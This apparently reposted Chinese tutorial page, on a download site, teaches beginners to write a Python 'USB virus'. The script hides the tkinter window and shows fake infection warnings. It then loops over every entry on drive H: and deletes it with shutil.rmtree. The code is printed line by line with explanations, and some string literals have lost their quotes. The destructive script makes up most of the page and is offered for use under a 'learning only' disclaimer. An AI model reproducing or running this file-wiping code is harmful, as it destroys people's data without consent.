当前位置:萝卜系统下载站 > 电脑学习教程 > 详细页面

Python–USB病毒篇人生苦短,我用Python!_病毒安全_

Python–USB病毒篇人生苦短,我用Python!_病毒安全_

更新时间:2023-07-09 文章作者:未知 信息来源:网络 阅读次数:

随着网络的普及,我们的生活越来越方便,但是网络安全也成了很多人面临的一个问题。特别是那些有着商业数据的企业电脑,更要注意上网安全常识,不然病毒会对我们造成严重的威胁。

如何在Python-USB病毒文章中编写病毒

生命短暂,我使用Python!

大家好!我是马克,姓马名科的中国人。

最近,一个朋友再次问马克:“马克,您能写病毒吗?”听完后我大吃一惊,问他:“你为什么写病毒?”

“哦,没什么,我只想尝试一下”

“喝酒,很简单!”

是的,这很简单。

因此,今天Mark将与您分享如何通过Python编写病毒

(请注意,今天共享的病毒将删除文件,请谨慎使用,此处共享仅用于学习和交流)

一、环境设置

该程序是用Python编写的,不认识Python的朋友可以参考此博客

门户!

我自己的环境是Windows10、64位,pycharm,Python 3. 7

二、代码!

电脑病毒用什么编程语言_黑客病毒怎么编程_ibm电脑 工业编程用

接下来,您可以开始编写代码! (本文不需要任何Python基础)

首先,上传代码:

import os
import tkinter.messagebox
import shutil

在这里很容易理解,导入一些模块。

那么,基础为零的朋友会问,什么是模块?

模块等同于文具盒

为什么这是一个隐喻?

这很简单。编写代码和编写程序就像完成作业一样?那么,您需要完成什么功课?

是的,您需要一个笔记本和笔。

现在我们有了编辑器,我们有笔记本吗?那支笔去哪了?

顺便说一下,笔在笔盒中,而模块在笔盒中。模块中的方法和属性等效于橡皮,尺子,铅笔,笔盒中的笔...

所以,如果我们想在里面使用笔,我们必须拿出这个文具盒,明白吗?

下一步,继续编码!

黑客病毒怎么编程_电脑病毒用什么编程语言_ibm电脑 工业编程用

root = tkinter.Tk()
root.withdraw()

此功能是消除tkinter模块运行时出现的主窗口。

其中

root = tkinter.Tk()

是定义变量的名称,

可以更好地理解变量名的定义,并且可以将其大致理解为

为更短更清晰的名称起一个新的名字

下一行

root.withdraw()

tkinter模块中的一种方法用于消除主窗口,即

从文具盒中拿出一支笔并使用它

接下来,是下一段代码:

tkinter.messagebox.showerror(错误, 电脑被病毒感染!)
tkinter.messagebox.showwarning(警告, H盘文件已被删除!)

ibm电脑 工业编程用_电脑病毒用什么编程语言_黑客病毒怎么编程

此代码还调用tkinter模块中的函数,它的运行方式如下:

运行

然后,看下一段代码

filepath = os.listdir(H:\\)

这行代码调用os模块读取H盘中的所有文件

res = len(filepath)

此行,获取H盘中的文件数

while res != 0:
    res -= 1
    sen = H:/ + str(filepath[res])
    shutil.rmtree(sen)

这是一个while语句,它是一个循环语句,这意味着当res变量不等于零时,一次又一次地执行以下代码,直到res等于零。

在此循环语句中,sen变量存储H磁盘下所有文件的绝对路径。

最后一行,通过shutil模块中的rmtree方法,删除sen目录中的所有文件

好吧,最后发布一张整体图片

整体感知

接下来是跑步效果图

5. 1.病毒运行演示


本文来自本站,转载请注明本文网址:
http://www.pc-fly.com/a/shouji/article-374069-1.html


上面是电脑上网安全的一些基础常识,学习了安全知识,几乎可以让你免费电脑中毒的烦扰。

温馨提示:喜欢本站的话,请收藏一下本站!

本类教程下载

系统下载排行

网站地图xml | 网站地图html